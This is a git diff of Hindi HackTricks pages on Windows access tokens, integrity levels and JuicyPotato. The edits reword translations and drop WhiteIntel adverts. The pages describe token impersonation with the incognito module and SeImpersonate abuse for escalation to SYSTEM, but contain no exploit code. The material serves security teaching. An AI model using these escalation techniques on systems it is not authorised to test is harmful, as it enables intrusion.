प्रत्येक **उपयोगकर्ता जो सिस्टम में लॉग इन है** **उस लॉगिन सत्र के लिए सुरक्षा जानकारी के साथ एक एक्सेस टोकन रखता है**। जब उपयोगकर्ता लॉग इन करता है, तो सिस्टम एक एक्सेस टोकन बनाता है। **उपयोगकर्ता की ओर से निष्पादित** **हर प्रक्रिया के पास एक्सेस टोकन की एक प्रति होती है**। टोकन उपयोगकर्ता, उपयोगकर्ता के समूहों और उपयोगकर्ता के विशेषाधिकारों की पहचान करता है। एक टोकन में एक लॉगिन SID (सिक्योरिटी आइडेंटिफायर) भी होता है जो वर्तमान लॉगिन सत्र की पहचान करता है।
|
||||
प्रत्येक **उपयोगकर्ता जो** सिस्टम में **लॉग इन है, उसके पास उस लॉगिन सत्र के लिए सुरक्षा जानकारी के साथ एक एक्सेस टोकन होता है।** जब उपयोगकर्ता लॉग इन करता है, तो सिस्टम एक एक्सेस टोकन बनाता है। **उपयोगकर्ता की ओर से निष्पादित** **हर प्रक्रिया के पास एक्सेस टोकन की एक प्रति होती है।** टोकन उपयोगकर्ता, उपयोगकर्ता के समूहों और उपयोगकर्ता के विशेषाधिकारों की पहचान करता है। एक टोकन में एक लॉगिन SID (सुरक्षा पहचानकर्ता) भी होता है जो वर्तमान लॉगिन सत्र की पहचान करता है।
|
||||
|
||||
आप इस जानकारी को `whoami /all` चलाकर देख सकते हैं।
|
||||
```
|
||||
|
@ -88,11 +75,11 @@ or using _Process Explorer_ from Sysinternals (select process and access"Securit
|
|||
|
||||
### क्रेडेंशियल्स उपयोगकर्ता अनुकरण
|
||||
|
||||
यदि आपके पास **किसी अन्य उपयोगकर्ता के वैध क्रेडेंशियल्स** हैं, तो आप उन क्रेडेंशियल्स के साथ **एक नया लॉगिन सत्र** **बना** सकते हैं:
|
||||
यदि आपके पास **किसी अन्य उपयोगकर्ता के वैध क्रेडेंशियल्स** हैं, तो आप उन क्रेडेंशियल्स के साथ **एक नया लॉगिन सत्र** **बना सकते हैं**:
|
||||
```
|
||||
runas /user:domain\username cmd.exe
|
||||
```
|
||||
**एक्सेस टोकन** में **LSASS** के अंदर लॉगिन सत्रों का **संदर्भ** भी होता है, यह उपयोगी है यदि प्रक्रिया को नेटवर्क के कुछ ऑब्जेक्ट्स तक पहुंचने की आवश्यकता हो।\
|
||||
**एक्सेस टोकन** में **LSASS** के अंदर लॉगिन सत्रों का **संदर्भ** भी होता है, यह उपयोगी है यदि प्रक्रिया को नेटवर्क के कुछ ऑब्जेक्ट्स तक पहुंचने की आवश्यकता है।\
|
||||
आप एक प्रक्रिया लॉन्च कर सकते हैं जो **नेटवर्क सेवाओं तक पहुंचने के लिए विभिन्न क्रेडेंशियल्स का उपयोग करती है**:
|
||||
```
|
||||
runas /user:domain\username /netonly cmd.exe
|
||||
|
@ -103,16 +90,16 @@ runas /user:domain\username /netonly cmd.exe
|
|||
|
||||
दो प्रकार के टोकन उपलब्ध हैं:
|
||||
|
||||
* **प्राथमिक टोकन**: यह एक प्रक्रिया की सुरक्षा क्रेडेंशियल्स का प्रतिनिधित्व करता है। प्रक्रियाओं के साथ प्राथमिक टोकनों का निर्माण और संघनन ऐसे कार्य हैं जिनके लिए उच्च विशेषाधिकार की आवश्यकता होती है, जो विशेषाधिकार विभाजन के सिद्धांत को उजागर करता है। आमतौर पर, टोकन निर्माण के लिए एक प्रमाणीकरण सेवा जिम्मेदार होती है, जबकि एक लॉगिन सेवा इसे उपयोगकर्ता के ऑपरेटिंग सिस्टम शेल के साथ संघनित करती है। यह ध्यान देने योग्य है कि प्रक्रियाएँ अपने माता-पिता की प्रक्रिया का प्राथमिक टोकन निर्माण के समय विरासत में प्राप्त करती हैं।
|
||||
* **प्राथमिक टोकन**: यह एक प्रक्रिया के सुरक्षा क्रेडेंशियल्स का प्रतिनिधित्व करता है। प्रक्रियाओं के साथ प्राथमिक टोकनों का निर्माण और संघनन ऐसे कार्य हैं जिनके लिए उच्च विशेषाधिकार की आवश्यकता होती है, जो विशेषाधिकार पृथक्करण के सिद्धांत को उजागर करता है। आमतौर पर, टोकन निर्माण के लिए एक प्रमाणीकरण सेवा जिम्मेदार होती है, जबकि लॉगिन सेवा इसे उपयोगकर्ता के ऑपरेटिंग सिस्टम शेल के साथ संघनित करती है। यह ध्यान देने योग्य है कि प्रक्रियाएँ अपने माता-पिता की प्रक्रिया का प्राथमिक टोकन निर्माण के समय विरासत में प्राप्त करती हैं।
|
||||
* **प्रतिनिधित्व टोकन**: एक सर्वर एप्लिकेशन को सुरक्षित वस्तुओं तक पहुँचने के लिए ग्राहक की पहचान को अस्थायी रूप से अपनाने की शक्ति देता है। यह तंत्र चार स्तरों में विभाजित है:
|
||||
* **गुमनाम**: एक अज्ञात उपयोगकर्ता के समान सर्वर पहुँच प्रदान करता है।
|
||||
* **पहचान**: सर्वर को ग्राहक की पहचान की पुष्टि करने की अनुमति देता है बिना इसे वस्तु पहुँच के लिए उपयोग किए।
|
||||
* **प्रतिनिधित्व**: सर्वर को ग्राहक की पहचान के तहत कार्य करने की अनुमति देता है।
|
||||
* **प्रतिनिधित्व**: प्रतिनिधित्व के समान लेकिन इसमें इस पहचान को दूरस्थ प्रणालियों तक विस्तारित करने की क्षमता शामिल है जिनके साथ सर्वर बातचीत करता है, क्रेडेंशियल संरक्षण सुनिश्चित करता है।
|
||||
* **प्रतिनिधित्व**: सर्वर को ग्राहक की पहचान के तहत कार्य करने में सक्षम बनाता है।
|
||||
* **प्रतिनिधित्व**: प्रतिनिधित्व के समान लेकिन इसमें इस पहचान को दूरस्थ प्रणालियों तक विस्तारित करने की क्षमता शामिल है जिनसे सर्वर बातचीत करता है, जिससे क्रेडेंशियल संरक्षण सुनिश्चित होता है।
|
||||
|
||||
#### प्रतिनिधित्व टोकन
|
||||
|
||||
यदि आपके पास पर्याप्त विशेषाधिकार हैं तो आप _**incognito**_ मॉड्यूल का उपयोग करके अन्य **टोकनों** को आसानी से **सूचीबद्ध** और **प्रतिनिधित्व** कर सकते हैं। यह **क्रियाएँ करने के लिए उपयोगी हो सकता है जैसे कि आप अन्य उपयोगकर्ता थे**। आप इस तकनीक के साथ **विशेषाधिकार बढ़ा** भी सकते हैं।
|
||||
यदि आपके पास पर्याप्त विशेषाधिकार हैं तो आप _**incognito**_ मॉड्यूल का उपयोग करके अन्य **टोकन** को आसानी से **सूचीबद्ध** और **प्रतिनिधित्व** कर सकते हैं। यह **क्रियाएँ करने के लिए उपयोगी हो सकता है जैसे कि आप अन्य उपयोगकर्ता थे**। आप इस तकनीक के साथ **विशेषाधिकार बढ़ा** भी सकते हैं।
|
||||
|
||||
### टोकन विशेषाधिकार
|
||||
|
||||
|
@ -122,23 +109,12 @@ runas /user:domain\username /netonly cmd.exe
|
|||
[privilege-escalation-abusing-tokens.md](privilege-escalation-abusing-tokens.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
[**सभी संभावित टोकन विशेषाधिकारों और कुछ परिभाषाओं के लिए इस बाहरी पृष्ठ पर नज़र डालें**](https://github.com/gtworek/Priv2Admin)।
|
||||
[**सभी संभावित टोकन विशेषाधिकारों और कुछ परिभाषाओं पर इस बाहरी पृष्ठ पर नज़र डालें**](https://github.com/gtworek/Priv2Admin)।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
इन ट्यूटोरियल में टोकनों के बारे में अधिक जानें: [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) और [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
|
||||
इन ट्यूटोरियल में टोकन के बारे में अधिक जानें: [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) और [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** संचालित खोज इंजन है जो यह जांचने के लिए **मुफ्त** कार्यक्षमताएँ प्रदान करता है कि क्या किसी कंपनी या उसके ग्राहकों को **समझौता** किया गया है **चोरी करने वाले मैलवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मैलवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट देख सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -148,9 +124,9 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,44 +15,30 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमता प्रदान करता है कि क्या किसी कंपनी या उसके ग्राहकों को **स्टीलर मालवेयर** द्वारा **समझौता** किया गया है।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी चुराने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **फ्री** में आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Integrity Levels
|
||||
|
||||
Windows Vista और बाद के संस्करणों में, सभी संरक्षित वस्तुओं के साथ एक **इंटीग्रिटी लेवल** टैग होता है। यह सेटअप ज्यादातर फ़ाइलों और रजिस्ट्री कुंजियों को "मध्यम" इंटीग्रिटी लेवल असाइन करता है, सिवाय कुछ फ़ोल्डरों और फ़ाइलों के जिन्हें Internet Explorer 7 कम इंटीग्रिटी लेवल पर लिख सकता है। डिफ़ॉल्ट व्यवहार यह है कि मानक उपयोगकर्ताओं द्वारा शुरू की गई प्रक्रियाओं का मध्यम इंटीग्रिटी लेवल होता है, जबकि सेवाएँ आमतौर पर सिस्टम इंटीग्रिटी लेवल पर कार्य करती हैं। एक उच्च-इंटीग्रिटी लेबल रूट डायरेक्टरी की सुरक्षा करता है।
|
||||
Windows Vista और बाद के संस्करणों में, सभी संरक्षित वस्तुओं के साथ एक **integrity level** टैग होता है। यह सेटअप ज्यादातर फ़ाइलों और रजिस्ट्री कुंजियों को "मध्यम" integrity level असाइन करता है, कुछ फ़ोल्डरों और फ़ाइलों को छोड़कर जिनमें Internet Explorer 7 कम integrity level पर लिख सकता है। डिफ़ॉल्ट व्यवहार यह है कि मानक उपयोगकर्ताओं द्वारा शुरू की गई प्रक्रियाओं का मध्यम integrity level होता है, जबकि सेवाएँ आमतौर पर सिस्टम integrity level पर कार्य करती हैं। एक उच्च-integrity लेबल रूट निर्देशिका की सुरक्षा करता है।
|
||||
|
||||
एक मुख्य नियम यह है कि वस्तुओं को उन प्रक्रियाओं द्वारा संशोधित नहीं किया जा सकता है जिनका इंटीग्रिटी लेवल वस्तु के स्तर से कम है। इंटीग्रिटी लेवल हैं:
|
||||
एक मुख्य नियम यह है कि वस्तुओं को उन प्रक्रियाओं द्वारा संशोधित नहीं किया जा सकता है जिनका integrity level वस्तु के स्तर से कम है। integrity levels हैं:
|
||||
|
||||
* **Untrusted**: यह स्तर उन प्रक्रियाओं के लिए है जिनमें गुमनाम लॉगिन होते हैं। %%%उदाहरण: Chrome%%%
|
||||
* **Low**: मुख्य रूप से इंटरनेट इंटरैक्शन के लिए, विशेष रूप से Internet Explorer के प्रोटेक्टेड मोड में, संबंधित फ़ाइलों और प्रक्रियाओं को प्रभावित करता है, और कुछ फ़ोल्डरों जैसे **Temporary Internet Folder**। कम इंटीग्रिटी प्रक्रियाओं को महत्वपूर्ण प्रतिबंधों का सामना करना पड़ता है, जिसमें रजिस्ट्री लिखने की अनुमति नहीं और सीमित उपयोगकर्ता प्रोफ़ाइल लिखने की अनुमति शामिल है।
|
||||
* **Medium**: अधिकांश गतिविधियों के लिए डिफ़ॉल्ट स्तर, मानक उपयोगकर्ताओं और बिना विशेष इंटीग्रिटी स्तर वाली वस्तुओं को असाइन किया गया। यहां तक कि व्यवस्थापकों के समूह के सदस्य भी डिफ़ॉल्ट रूप से इस स्तर पर कार्य करते हैं।
|
||||
* **High**: व्यवस्थापकों के लिए आरक्षित, उन्हें कम इंटीग्रिटी स्तर पर वस्तुओं को संशोधित करने की अनुमति देता है, जिसमें उच्च स्तर पर स्वयं वस्तुएं भी शामिल हैं।
|
||||
* **System**: Windows कर्नेल और कोर सेवाओं के लिए सबसे उच्चतम संचालन स्तर, जो व्यवस्थापकों के लिए भी पहुंच से बाहर है, महत्वपूर्ण सिस्टम कार्यों की सुरक्षा सुनिश्चित करता है।
|
||||
* **Installer**: एक अनूठा स्तर जो सभी अन्य स्तरों से ऊपर है, इस स्तर पर वस्तुओं को किसी अन्य वस्तु को अनइंस्टॉल करने की अनुमति देता है।
|
||||
* **Untrusted**: यह स्तर उन प्रक्रियाओं के लिए है जिनमें गुमनाम लॉगिन होते हैं। %%%Example: Chrome%%%
|
||||
* **Low**: मुख्य रूप से इंटरनेट इंटरैक्शन के लिए, विशेष रूप से Internet Explorer के Protected Mode में, संबंधित फ़ाइलों और प्रक्रियाओं को प्रभावित करता है, और कुछ फ़ोल्डरों जैसे **Temporary Internet Folder**। Low integrity प्रक्रियाओं को महत्वपूर्ण प्रतिबंधों का सामना करना पड़ता है, जिसमें रजिस्ट्री लिखने की अनुमति नहीं और सीमित उपयोगकर्ता प्रोफ़ाइल लिखने की अनुमति शामिल है।
|
||||
* **Medium**: अधिकांश गतिविधियों के लिए डिफ़ॉल्ट स्तर, मानक उपयोगकर्ताओं और बिना विशिष्ट integrity levels वाली वस्तुओं को असाइन किया गया। यहां तक कि Administrators समूह के सदस्य भी डिफ़ॉल्ट रूप से इस स्तर पर कार्य करते हैं।
|
||||
* **High**: प्रशासकों के लिए आरक्षित, उन्हें निम्न integrity levels पर वस्तुओं को संशोधित करने की अनुमति देता है, जिसमें उच्च स्तर पर स्वयं वस्तुएं शामिल हैं।
|
||||
* **System**: Windows kernel और कोर सेवाओं के लिए सबसे उच्चतम संचालन स्तर, जो प्रशासकों के लिए भी पहुंच से बाहर है, महत्वपूर्ण सिस्टम कार्यों की सुरक्षा सुनिश्चित करता है।
|
||||
* **Installer**: एक अनूठा स्तर जो सभी अन्य स्तरों के ऊपर है, इस स्तर पर वस्तुओं को किसी अन्य वस्तु को अनइंस्टॉल करने की अनुमति देता है।
|
||||
|
||||
आप **Process Explorer** का उपयोग करके किसी प्रक्रिया का इंटीग्रिटी लेवल प्राप्त कर सकते हैं **Sysinternals** से, प्रक्रिया की **properties** तक पहुँचकर और "**Security**" टैब को देख कर:
|
||||
आप **Process Explorer** का उपयोग करके एक प्रक्रिया का integrity level प्राप्त कर सकते हैं **Sysinternals** से, प्रक्रिया की **properties** को एक्सेस करके और "**Security**" टैब को देखकर:
|
||||
|
||||
![](<../../.gitbook/assets/image (824).png>)
|
||||
|
||||
आप `whoami /groups` का उपयोग करके अपना **वर्तमान इंटीग्रिटी लेवल** भी प्राप्त कर सकते हैं।
|
||||
आप `whoami /groups` का उपयोग करके अपना **current integrity level** भी प्राप्त कर सकते हैं
|
||||
|
||||
![](<../../.gitbook/assets/image (325).png>)
|
||||
|
||||
### Integrity Levels in File-system
|
||||
|
||||
फाइल-सिस्टम के अंदर एक वस्तु को **न्यूनतम इंटीग्रिटी लेवल आवश्यकता** की आवश्यकता हो सकती है और यदि किसी प्रक्रिया में यह इंटीग्रिटी प्रक्रिया नहीं है तो वह इसके साथ इंटरैक्ट नहीं कर सकेगी।\
|
||||
फाइल-सिस्टम के अंदर एक वस्तु को **न्यूनतम integrity level आवश्यकता** की आवश्यकता हो सकती है और यदि एक प्रक्रिया के पास यह integrity level नहीं है तो यह इसके साथ इंटरैक्ट नहीं कर सकेगी।\
|
||||
उदाहरण के लिए, चलिए **एक नियमित उपयोगकर्ता कंसोल फ़ाइल से एक नियमित फ़ाइल बनाते हैं और अनुमतियों की जांच करते हैं**:
|
||||
```
|
||||
echo asd >asd.txt
|
||||
|
@ -64,7 +50,7 @@ NT AUTHORITY\INTERACTIVE:(I)(M,DC)
|
|||
NT AUTHORITY\SERVICE:(I)(M,DC)
|
||||
NT AUTHORITY\BATCH:(I)(M,DC)
|
||||
```
|
||||
अब, चलिए फ़ाइल को **High** का न्यूनतम इंटीग्रिटी स्तर असाइन करते हैं। यह **एक कंसोल से किया जाना चाहिए** जो **व्यवस्थापक** के रूप में चल रहा हो क्योंकि **सामान्य कंसोल** मध्यम इंटीग्रिटी स्तर पर चल रहा होगा और **उसे** किसी ऑब्जेक्ट को उच्च इंटीग्रिटी स्तर असाइन करने की **अनुमति नहीं होगी**:
|
||||
अब, चलिए फ़ाइल को **High** का न्यूनतम इंटीग्रिटी स्तर असाइन करते हैं। यह **एक कंसोल से किया जाना चाहिए** जो **व्यवस्थापक** के रूप में चल रहा हो क्योंकि **सामान्य कंसोल** मध्यम इंटीग्रिटी स्तर पर चल रहा होगा और **उच्च इंटीग्रिटी स्तर** को किसी ऑब्जेक्ट को असाइन करने की अनुमति **नहीं होगी**:
|
||||
```
|
||||
icacls asd.txt /setintegritylevel(oi)(ci) High
|
||||
processed file: asd.txt
|
||||
|
@ -79,7 +65,7 @@ NT AUTHORITY\SERVICE:(I)(M,DC)
|
|||
NT AUTHORITY\BATCH:(I)(M,DC)
|
||||
Mandatory Label\High Mandatory Level:(NW)
|
||||
```
|
||||
यहाँ चीजें दिलचस्प हो जाती हैं। आप देख सकते हैं कि उपयोगकर्ता `DESKTOP-IDJHTKP\user` के पास फ़ाइल पर **पूर्ण विशेषाधिकार** हैं (वास्तव में, यह वही उपयोगकर्ता था जिसने फ़ाइल बनाई थी), हालाँकि, न्यूनतम इंटीग्रिटी स्तर लागू होने के कारण वह फ़ाइल को और संशोधित नहीं कर पाएगा जब तक कि वह उच्च इंटीग्रिटी स्तर के भीतर नहीं चल रहा है (ध्यान दें कि वह इसे पढ़ सकेगा):
|
||||
यहाँ चीजें दिलचस्प हो जाती हैं। आप देख सकते हैं कि उपयोगकर्ता `DESKTOP-IDJHTKP\user` के पास फ़ाइल पर **पूर्ण विशेषाधिकार** हैं (वास्तव में, यही वह उपयोगकर्ता है जिसने फ़ाइल बनाई थी), हालाँकि, न्यूनतम इंटीग्रिटी स्तर लागू होने के कारण वह फ़ाइल को और संशोधित नहीं कर पाएगा जब तक कि वह उच्च इंटीग्रिटी स्तर के भीतर नहीं चल रहा है (ध्यान दें कि वह इसे पढ़ सकेगा):
|
||||
```
|
||||
echo 1234 > asd.txt
|
||||
Access is denied.
|
||||
|
@ -115,30 +101,3 @@ Mandatory Label\Low Mandatory Level:(NW)
|
|||
सभी फ़ाइलों और फ़ोल्डरों का एक न्यूनतम इंटीग्रिटी स्तर नहीं होता है, **लेकिन सभी प्रक्रियाएँ एक इंटीग्रिटी स्तर के तहत चल रही हैं**। और फ़ाइल-प्रणाली के साथ जो हुआ, उसके समान, **यदि एक प्रक्रिया किसी अन्य प्रक्रिया के अंदर लिखना चाहती है, तो उसके पास कम से कम वही इंटीग्रिटी स्तर होना चाहिए**। इसका मतलब है कि कम इंटीग्रिटी स्तर वाली प्रक्रिया मध्यम इंटीग्रिटी स्तर वाली प्रक्रिया के लिए पूर्ण पहुँच के साथ एक हैंडल नहीं खोल सकती।
|
||||
|
||||
इस और पिछले अनुभाग में टिप्पणी की गई प्रतिबंधों के कारण, सुरक्षा के दृष्टिकोण से, हमेशा **कम से कम संभव इंटीग्रिटी स्तर पर एक प्रक्रिया चलाने की सिफारिश की जाती है**।
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित खोज इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **संपर्कित** हुए हैं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट देख सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,31 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **फ्री** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि कोई कंपनी या उसके ग्राहक **समझौता** किए गए हैं या नहीं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और **फ्री** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
{% hint style="warning" %}
|
||||
**JuicyPotato Windows Server 2019 और Windows 10 बिल्ड 1809 और उसके बाद काम नहीं करता है। हालांकि, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) का उपयोग **समान विशेषाधिकारों का लाभ उठाने और `NT AUTHORITY\SYSTEM`** स्तर की पहुंच प्राप्त करने के लिए किया जा सकता है। _**जांचें:**_
|
||||
**JuicyPotato Windows Server 2019 और Windows 10 बिल्ड 1809 से आगे काम नहीं करता है। हालांकि, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) का उपयोग **समान विशेषाधिकारों का लाभ उठाने और `NT AUTHORITY\SYSTEM`** स्तर की पहुंच प्राप्त करने के लिए किया जा सकता है। _**जांचें:**_
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="roguepotato-and-printspoofer.md" %}
|
||||
[roguepotato-and-printspoofer.md](roguepotato-and-printspoofer.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Juicy Potato (गोल्डन विशेषाधिकारों का दुरुपयोग) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
||||
## Juicy Potato (सोने के विशेषाधिकारों का दुरुपयोग) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
||||
|
||||
_एक मीठा संस्करण_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, जिसमें थोड़ा सा जूस है, यानी **एक और लोकल प्रिविलेज एस्कलेशन टूल, विंडोज सर्विस अकाउंट से NT AUTHORITY\SYSTEM**_
|
||||
_एक मीठा संस्करण_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, जिसमें थोड़ा रस है, यानी **एक और स्थानीय विशेषाधिकार वृद्धि उपकरण, Windows सेवा खातों से NT AUTHORITY\SYSTEM**_
|
||||
|
||||
#### आप juicypotato को [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) से डाउनलोड कर सकते हैं
|
||||
|
||||
|
@ -47,21 +33,21 @@ _एक मीठा संस्करण_ [_RottenPotatoNG_](https://github.co
|
|||
|
||||
[**juicy-potato Readme से**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
|
||||
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) और इसके [वेरिएंट्स](https://github.com/decoder-it/lonelypotato) विशेषाधिकार वृद्धि श्रृंखला का लाभ उठाते हैं जो [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [सेवा](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) पर आधारित है जिसमें `127.0.0.1:6666` पर MiTM श्रोता होता है और जब आपके पास `SeImpersonate` या `SeAssignPrimaryToken` विशेषाधिकार होते हैं। एक Windows बिल्ड समीक्षा के दौरान हमने एक सेटअप पाया जहां `BITS` जानबूझकर बंद था और पोर्ट `6666` लिया गया था।
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) और इसके [वेरिएंट](https://github.com/decoder-it/lonelypotato) विशेषाधिकार वृद्धि श्रृंखला का लाभ उठाते हैं जो [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [सेवा](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) पर आधारित है जिसमें `127.0.0.1:6666` पर MiTM श्रोता होता है और जब आपके पास `SeImpersonate` या `SeAssignPrimaryToken` विशेषाधिकार होते हैं। एक Windows बिल्ड समीक्षा के दौरान, हमने एक सेटअप पाया जहां `BITS` जानबूझकर बंद था और पोर्ट `6666` लिया गया था।
|
||||
|
||||
